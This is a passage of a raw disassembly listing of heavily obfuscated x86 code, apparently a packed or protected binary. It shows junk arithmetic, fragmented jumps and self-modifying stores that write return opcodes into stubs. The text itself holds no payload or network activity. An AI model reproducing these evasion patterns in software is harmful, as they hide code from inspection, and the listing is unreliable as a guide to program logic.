loc_749A4C:				; CODE XREF: sub_74CD80-3D3Dj
		add	edi, 0A5DC2E00h
		add	edi, ebp
		add	edi, 0AB8C268Bh
		mov	[edi], eax
		pop	edi
		popf
		jmp	loc_745EB5
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------


loc_749A63:				; CODE XREF: _0z4jwtox:loc_756FEDj
		or	esi, 14A4E79Fh
		add	esi, 0A88662E6h
		xchg	esi, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_749A77:				; CODE XREF: sub_755F42-1C60j
		pop	eax
		rol	eax, 0Bh


loc_749A7B:				; CODE XREF: _0z4jwtox:00754367j
		test	eax, 1000h
		jmp	loc_753A72
; END OF FUNCTION CHUNK	FOR sub_755F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_749A86:				; CODE XREF: sub_74673E+56A0j
					; _0z4jwtox:0074E3C7j
		sub	edi, 0F1BB225Ch
		add	edi, 0CB4C962Dh


loc_749A92:				; CODE XREF: _0z4jwtox:loc_7450F6j
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_2
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_749AA3:				; CODE XREF: sub_75143A+4670j
		push	0F6B9F485h
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		rol	eax, 8
		or	eax, 0AE77092Eh
		add	eax, 407DA258h
		jmp	loc_755C06
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------


loc_749AC2:				; CODE XREF: _0z4jwtox:loc_745A88j
		pop	edx
		rol	edx, 0Dh
		add	edx, 96641C2Dh
		call	sub_755DE6


loc_749AD1:				; CODE XREF: _0z4jwtox:00754542j
		jmp	loc_749DF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_749AD6:				; CODE XREF: sub_748FA4+5615j
		jno	loc_74B7C1


loc_749ADC:				; CODE XREF: sub_748FA4:loc_74AF7Aj
		call	sub_7463AE


loc_749AE1:				; CODE XREF: sub_75275A-591Ej
		jmp	loc_74C00E
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_749AE6:				; CODE XREF: sub_74BD6F+Aj
		jnz	loc_753FC4
		jmp	loc_75597F
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_749AF1:				; CODE XREF: sub_7490F6:loc_75271Fj
		not	eax
		jmp	loc_750C79
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_749AF8:				; CODE XREF: sub_74A71A:loc_74EDB2j
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		mov	[ebp-1Ch], eax


loc_749B06:				; CODE XREF: _0z4jwtox:0074EA18j
		jmp	loc_74DE61
; ---------------------------------------------------------------------------


loc_749B0B:				; CODE XREF: sub_74A71A:loc_755F15j
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_748FD6
		jmp	loc_749D49
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------


loc_749B1A:				; CODE XREF: _0z4jwtox:00748B76j
		push	eax
		mov	eax, esi
		xchg	eax, [esp]
		push	0B039CF1Bh
		jmp	loc_74DAC5
; ---------------------------------------------------------------------------


loc_749B2A:				; DATA XREF: _0z4jwtox:0074B43Bo
		lea	eax, sub_755148
		push	offset loc_7502DE
		jmp	locret_752D23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_749B3A:				; CODE XREF: sub_74B719+A5F7j
		push	offset sub_74E03D
		jmp	loc_747161
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755340


loc_749B44:				; CODE XREF: sub_755340:loc_74ABA8j
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		jb	loc_74D571
		mov	eax, [ebp-10h]
		call	sub_74FB89
; END OF FUNCTION CHUNK	FOR sub_755340
; START	OF FUNCTION CHUNK FOR sub_747736


loc_749B60:				; CODE XREF: sub_747736+4348j
		jmp	loc_74B723
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_749B65:				; CODE XREF: sub_748A22+25C5j
		jmp	nullsub_218
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------

locret_749B6A:				; CODE XREF: _0z4jwtox:loc_756237j
		retn
; ---------------------------------------------------------------------------
		add	edi, 287A38A0h
		jmp	sub_746C84

; =============== S U B	R O U T	I N E =======================================



sub_749B76	proc near		; CODE XREF: _0z4jwtox:0074CB9Bj
					; sub_747C22:loc_74FCE9p

; FUNCTION CHUNK AT 00745430 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746894 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074767C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00749808 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074A596 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074D0AF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00750FD3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00752AAF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007552C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007564CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757225 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075747B SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jz	loc_74767C
		jmp	loc_746894
sub_749B76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_74767C
; ---------------------------------------------------------------------------


loc_749B92:				; CODE XREF: _0z4jwtox:0074AFD6j
		ror	edi, 0Eh

; =============== S U B	R O U T	I N E =======================================



sub_749B95	proc near		; CODE XREF: sub_7469BF+6p

; FUNCTION CHUNK AT 00745C48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C42A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074E775 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	ebx
		push	ebx
		push	5AEE0D9Eh
		jmp	loc_745C48
sub_749B95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_749BA5:				; CODE XREF: _0z4jwtox:loc_756D32j
		call	sub_754A3D
		mov	eax, 66708351h
		push	edi
		push	2B37DE80h
		jmp	loc_74811D

; =============== S U B	R O U T	I N E =======================================



sub_749BBA	proc near		; CODE XREF: sub_7541BA:loc_748A68p

; FUNCTION CHUNK AT 007468BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00747726 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074BD7E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007533CC SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_746C1D
		jmp	loc_74BD7E
sub_749BBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_749BD2:				; CODE XREF: _0z4jwtox:00747541j
		jz	loc_74F776
		jmp	loc_7546B9
; ---------------------------------------------------------------------------


loc_749BDD:				; CODE XREF: _0z4jwtox:loc_74B12Cj
		pop	eax
		rol	eax, 0Ch
		sub	eax, 950A7747h
		xor	eax, 6CB29A82h
		add	eax, 33E3A1FDh
		xchg	eax, [esp]
		jmp	sub_75364C
; ---------------------------------------------------------------------------
		rol	eax, 6
		shl	ebp, 13h
		jmp	sub_74A83D

; =============== S U B	R O U T	I N E =======================================



sub_749C06	proc near		; CODE XREF: _0z4jwtox:00747020j
					; _0z4jwtox:0074C749p

; FUNCTION CHUNK AT 0074E657 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_746E93
		push	ebx
		push	offset loc_752155
		jmp	loc_74E657
sub_749C06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_749C1A:				; CODE XREF: sub_747C39+D814j
		xchg	esi, edx
		cmp	esi, ebp
		jmp	loc_751FBB
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745462


loc_749C23:				; CODE XREF: sub_745462:loc_74FBB1j
		sub	edx, 0D2C81D2Dh
		and	edx, 6A91D199h
		jnz	loc_74E3B1
; END OF FUNCTION CHUNK	FOR sub_745462
; START	OF FUNCTION CHUNK FOR sub_752957


loc_749C35:				; CODE XREF: sub_752957+Dj
		jmp	loc_753D8D
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
		jns	loc_74F39A
		or	ebp, ebx
		jmp	loc_745DA9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_749C48:				; CODE XREF: _0z4jwtox:loc_7544D3j
		jmp	loc_755544
; ---------------------------------------------------------------------------


loc_749C4D:				; CODE XREF: _0z4jwtox:00753298j
		jmp	loc_7493E3
; ---------------------------------------------------------------------------


loc_749C52:				; CODE XREF: _0z4jwtox:0075112Bj
		jmp	loc_74DAFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_749C57:				; CODE XREF: sub_74B079+13j
		jmp	loc_74C83B
; END OF FUNCTION CHUNK	FOR sub_74B079
; ---------------------------------------------------------------------------
		rol	ecx, 5
; START	OF FUNCTION CHUNK FOR sub_74952C


loc_749C5F:				; CODE XREF: sub_74952C-B42j
		jmp	sub_752D11
; END OF FUNCTION CHUNK	FOR sub_74952C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_749C65:				; CODE XREF: sub_74E693+8B87j
		jmp	loc_74FC88
; END OF FUNCTION CHUNK	FOR sub_74E693
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_749C6A:				; CODE XREF: sub_752FC5-2A3Ej
		jmp	sub_752FC5
; END OF FUNCTION CHUNK	FOR sub_752FC5
; ---------------------------------------------------------------------------


loc_749C6F:				; CODE XREF: _0z4jwtox:00749F6Bj
		jmp	loc_746B97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_749C74:				; CODE XREF: sub_74A4B0:loc_756491j
		lea	eax, sub_75676B
		push	offset loc_74A0AB
		jmp	nullsub_189
; END OF FUNCTION CHUNK	FOR sub_74A4B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_749C84:				; CODE XREF: sub_746869+Fj
					; sub_746640:loc_746D1Cj ...
		inc	dword ptr [ebp-20h]
		dec	dword ptr [ebp-2Ch]
		jnz	loc_7471EA
		jmp	loc_746394
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_749C95	proc near		; CODE XREF: sub_745276+5p
					; _0z4jwtox:00745B10j
		xchg	esi, [esp+0]
		pop	esi
		push	edx
		call	sub_756435
sub_749C95	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7553F4


loc_749C9F:				; CODE XREF: sub_7553F4+77Dj
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_7553F4
; ---------------------------------------------------------------------------


loc_749CA4:				; CODE XREF: _0z4jwtox:007536B3j
		jmp	locret_747AC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F83E


loc_749CA9:				; CODE XREF: sub_74F83E+9j
		jmp	sub_749115
; END OF FUNCTION CHUNK	FOR sub_74F83E
; ---------------------------------------------------------------------------


loc_749CAE:				; DATA XREF: _0z4jwtox:0074EC8Bo
		xor	ebx, 0DDA4ACDAh
		add	ebx, ebp
		push	eax
		call	sub_7457B3
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_749CBC:				; CODE XREF: sub_74673E-1408j
		jmp	loc_74B91B
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D424


loc_749CC1:				; CODE XREF: sub_74D424:loc_750B69j
		mov	eax, [ebp-4]
		call	sub_7510E4
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_16
		pop	ecx
		jmp	loc_749364
; END OF FUNCTION CHUNK	FOR sub_74D424
; ---------------------------------------------------------------------------

locret_749CDA:				; CODE XREF: _0z4jwtox:loc_74831Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B21E


loc_749CDB:				; CODE XREF: sub_74B21E+Fj
		jmp	loc_74D24A
; END OF FUNCTION CHUNK	FOR sub_74B21E
; ---------------------------------------------------------------------------


loc_749CE0:				; DATA XREF: sub_74E762-945Do
		push	4B863D12h
		pop	eax
		and	eax, 0BADDA295h
		rol	eax, 0Bh
		add	eax, 0DF74DDFCh
		xchg	eax, [esp]
		jmp	sub_746E93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_749CFE:				; CODE XREF: sub_745A78+E6B8j
		jmp	loc_749509
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_749D03:				; CODE XREF: sub_74CBCF+A92j
		jmp	loc_751473
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_749D08:				; CODE XREF: sub_74A96E+CC13j
		push	0A59B4327h
		pop	eax
		sub	eax, 84F29EF6h
		rol	eax, 0Ah


loc_749D17:				; CODE XREF: _0z4jwtox:0074D5A8j
		add	eax, 2FE2224Ah
		jnz	loc_756D20
		adc	esi, ebp
		jmp	loc_756D17
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_749D2A:				; CODE XREF: sub_7572F3:loc_755C0Bj
		jnz	loc_753AF4
		jmp	loc_7546F3
; END OF FUNCTION CHUNK	FOR sub_7572F3

; =============== S U B	R O U T	I N E =======================================



sub_749D35	proc near		; DATA XREF: _0z4jwtox:00751EB7o

; FUNCTION CHUNK AT 007577AB SIZE 00000001 BYTES

		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		call	sub_75379A
		shr	eax, 17h
		jmp	loc_7577AB
sub_749D35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_749D49:				; CODE XREF: sub_74A71A-C05j
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		call	sub_74DE55
; END OF FUNCTION CHUNK	FOR sub_74A71A
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_749D57:				; CODE XREF: sub_74C0A0+3BC9j
		jmp	loc_75062A
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------


loc_749D5C:				; CODE XREF: _0z4jwtox:0074578Fj
		jmp	sub_754A3D
; ---------------------------------------------------------------------------
		mov	eax, 4A031E23h
		push	esi
		push	941E8ADCh
		pop	esi
		rol	esi, 2
		jmp	loc_754F12

; =============== S U B	R O U T	I N E =======================================



sub_749D75	proc near		; DATA XREF: _0z4jwtox:00754345o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074E3CC SIZE 00000001 BYTES

		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp+4+var_4]
		push	482F4875h
		jmp	loc_74E3CC
sub_749D75	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_749D85:				; CODE XREF: sub_74D782-873Aj
		jnz	loc_747601
		shl	edi, 3
		or	ebp, 4AE6E883h
		cmp	edi, ecx
		jmp	loc_7456B1
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_749D9B:				; CODE XREF: sub_747C39+5073j
		sbb	eax, 0B60F5EFFh
		jmp	loc_74E214
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------

locret_749DA6:				; CODE XREF: _0z4jwtox:00747406j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_749DA9:				; CODE XREF: sub_74A71A+53D4j
		jmp	loc_755F08
; END OF FUNCTION CHUNK	FOR sub_74A71A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_749DAF:				; CODE XREF: sub_74C0A0+544Aj
		jmp	loc_7527B1
; END OF FUNCTION CHUNK	FOR sub_74C0A0

; =============== S U B	R O U T	I N E =======================================



sub_749DB4	proc near		; CODE XREF: sub_74F73B:loc_74856Fj
					; sub_74D782+8p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00749285 SIZE 00000016 BYTES

		push	edi


loc_749DB5:				; CODE XREF: _0z4jwtox:00750AFAj
		mov	edi, ebp
		jmp	loc_749285
sub_749DB4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756327


loc_749DBC:				; CODE XREF: sub_756327:loc_7540FFj
		add	ecx, 0C31D489Eh
		test	ecx, 10000h
		jmp	loc_74E704
; END OF FUNCTION CHUNK	FOR sub_756327
; ---------------------------------------------------------------------------


loc_749DCD:				; CODE XREF: _0z4jwtox:00754672j
		add	ebx, ebp
		add	ebx, 76974C54h
		mov	ebx, [ebx]
		xchg	ebx, [esp]
		push	dword ptr [ebp+0Ch]
		call	sub_7465D2
; START	OF FUNCTION CHUNK FOR sub_74EF6C


loc_749DE2:				; CODE XREF: sub_74EF6C+9j
		jmp	loc_74CA07
; END OF FUNCTION CHUNK	FOR sub_74EF6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_749DE7:				; CODE XREF: sub_74C4BB+29C8j
					; sub_7514AC:loc_7556E9j
		jmp	sub_74A3AB
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_749DEC:				; CODE XREF: sub_747C22-1210j
		jmp	loc_747A08
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		or	ebx, edi
		jmp	loc_747CFF
; ---------------------------------------------------------------------------


loc_749DF8:				; CODE XREF: _0z4jwtox:loc_749AD1j
		mov	eax, [esp]
		call	sub_74BCF7


loc_749E00:				; CODE XREF: _0z4jwtox:0075099Aj
		cdq
		xchg	ebp, [ebx]


loc_749E03:				; CODE XREF: _0z4jwtox:loc_75098Dj
		add	ecx, 1D1037DAh
		xor	ecx, 876A1B52h
		add	ecx, 0CE52922Bh
		xchg	ecx, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7451D9


loc_749E1D:				; CODE XREF: sub_7451D9:loc_74ED97j
		push	ecx
		push	offset loc_74B232
		jmp	loc_74F244
; END OF FUNCTION CHUNK	FOR sub_7451D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_749E28:				; CODE XREF: sub_74946E+907Ej
		rol	eax, 2
		xor	eax, 8A633C61h
		rol	eax, 15h
		sub	eax, 71513C30h
		rol	eax, 1Fh
		jmp	loc_745761
; ---------------------------------------------------------------------------


loc_749E42:				; CODE XREF: sub_74946Ej
		mov	eax, ds:dword_752DAC
		or	eax, eax
		jnz	loc_745767
		jmp	loc_75219C
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
		or	esi, 9A43232Ah


loc_749E5B:				; CODE XREF: _0z4jwtox:00754DE3j
		jmp	sub_747CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_749E60:				; CODE XREF: _0z4jwtox:00753A00j
					; sub_74F73B+8106j
		jp	loc_7498F1
		ja	loc_74AB90
		jmp	loc_750F9A
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_749E71:				; CODE XREF: sub_753FCE:loc_74C5E0j
		jnz	loc_7526CC
		jmp	loc_74B899
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D7D4


loc_749E7C:				; CODE XREF: sub_74D7D4:loc_74D7E4j
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	ebp
		push	eax
		pop	ebp
		push	offset loc_7497E9
		jmp	loc_7552EB
; END OF FUNCTION CHUNK	FOR sub_74D7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_749E8E:				; CODE XREF: sub_754DFF:loc_754936j
		mov	ebp, ebx
		xchg	ebp, [esp+0]
		pushf
		push	9A0113DCh
		call	sub_74D4D3


loc_749E9E:				; CODE XREF: _0z4jwtox:00753970j
		jmp	loc_754E0A
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
		sbb	ebx, esi
		jmp	sub_752BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_749EAA:				; CODE XREF: sub_747736:loc_745B74j
		jge	loc_752A41
		cmp	edx, edi
		jmp	loc_74B740
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		and	edx, 0C22D693Dh
		pop	edi
		jmp	sub_746A33
; ---------------------------------------------------------------------------


loc_749EC3:				; CODE XREF: _0z4jwtox:00749329j
		sub	ebx, 0E0D080FDh

; =============== S U B	R O U T	I N E =======================================



sub_749EC9	proc near		; CODE XREF: _0z4jwtox:0074859Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007475A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074838F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C137 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075467F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00757146 SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		mov	eax, [esp+0]
		call	sub_7577DE


loc_749ED5:				; DATA XREF: sub_746BE0+9o
		call	sub_75375E
		mov	eax, 0FFB060E7h
		call	sub_746E93
		push	esi
		push	0D7B2018Fh
		pop	esi
		sub	esi, 4D10B2D2h
		cmp	esi, 210FDC63h
		jmp	loc_7475A7
sub_749EC9	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_749EFD:				; CODE XREF: sub_74AE46+Bj
		jmp	loc_754449
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457B3


loc_749F02:				; CODE XREF: sub_7457B3+Dj
		jmp	loc_748FBC
; END OF FUNCTION CHUNK	FOR sub_7457B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_749F07:				; CODE XREF: sub_7561AB:loc_74DB51j
		rol	ebx, 19h
		cmp	ebx, 59BB4C92h
		jmp	loc_745D57
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E6F5


loc_749F15:				; CODE XREF: sub_74E6F5:loc_74E704j
		jnz	loc_746C98
; END OF FUNCTION CHUNK	FOR sub_74E6F5
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_749F1B:				; CODE XREF: sub_746C5E+3F83j
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------
		js	loc_74FDF5
		or	edx, 2803C9Ah
		jmp	loc_746C98
; ---------------------------------------------------------------------------


loc_749F31:				; DATA XREF: sub_746C5E+Co
		or	eax, eax
		jnz	loc_754E7F
		jmp	loc_749412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_749F3E:				; CODE XREF: sub_74F73B+8119j
		jb	loc_747ABE


loc_749F44:				; CODE XREF: sub_74F73B:loc_75783Bj
		add	eax, 2C1D37E4h
		push	eax
		mov	eax, edx
		xchg	eax, [esp+34h+var_34]
		jmp	loc_752EE3
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
		ror	edi, 3
		jmp	sub_7543C5
; ---------------------------------------------------------------------------


loc_749F5D:				; CODE XREF: _0z4jwtox:loc_75511Cj
		mov	eax, [esp]
		push	edx
		call	sub_754E36
		push	1185F512h
		jmp	loc_749C6F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_749F71:				; DATA XREF: sub_750715+492Co
		add	edi, 0FEAFC289h
		xchg	edi, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
		mov	[ebx], eax
		sbb	ebx, esi
		jmp	sub_74B21E

; =============== S U B	R O U T	I N E =======================================



sub_749F88	proc near		; CODE XREF: _0z4jwtox:0074B44Bj
					; sub_752B45+Ap
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, nullsub_270
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_270
sub_749F88	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A47B


loc_749F9A:				; CODE XREF: sub_74A47B:loc_75750Ej
		test	byte ptr [ebp-8], 2
		jz	loc_7482D4
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_752029
; END OF FUNCTION CHUNK	FOR sub_74A47B
; ---------------------------------------------------------------------------


loc_749FAD:				; CODE XREF: _0z4jwtox:0074EEF5j
		and	edx, 0B9762366h
		or	edx, 0A5827A53h
		rol	edx, 1Eh
		push	offset loc_748D92
		jmp	loc_74E73E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474F5


loc_749FC6:				; CODE XREF: sub_7474F5+3DE0j
					; sub_7450FC+FDC4j
		mov	eax, [ebp-4]
		mov	edx, [ebp-14h]
		add	eax, [edx+20h]
		xor	edx, edx
		push	edx
		call	sub_746CC3
; END OF FUNCTION CHUNK	FOR sub_7474F5

; =============== S U B	R O U T	I N E =======================================



sub_749FD7	proc near		; CODE XREF: sub_74CF82-3BF1p
					; _0z4jwtox:007535AEj

; FUNCTION CHUNK AT 0074A0D9 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	loc_74A0D9
sub_749FD7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_749FE3	proc near		; CODE XREF: sub_41DB68+3Ep
					; sub_41DB68+261p ...
		call	sub_749FEE
		jmp	ds:off_41F008
sub_749FE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_749FEE	proc near		; CODE XREF: sub_749FE3p
					; sub_74BED4:loc_74E902j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007479F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007515EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00756CC7 SIZE 00000019 BYTES

		pop	edx
		jmp	loc_7479F8
sub_749FEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_749FF4:				; CODE XREF: sub_74C670:loc_74FA46j
		add	eax, ebp
		add	eax, 0B8AD489h
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+0]
		push	eax
		jmp	loc_745A8D
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C98


loc_74A008:				; CODE XREF: _0z4jwtox:00746D53j
					; sub_748C98+5294j ...
		sub	eax, 761F1EDAh
		call	sub_746556


loc_74A013:				; CODE XREF: _0z4jwtox:00752579j
		call	sub_746E93
		mov	ds:dword_41F124, eax
		lea	eax, nullsub_4
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_748C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7509E0


loc_74A02C:				; CODE XREF: sub_7509E0+Aj
		rol	eax, 1Dh
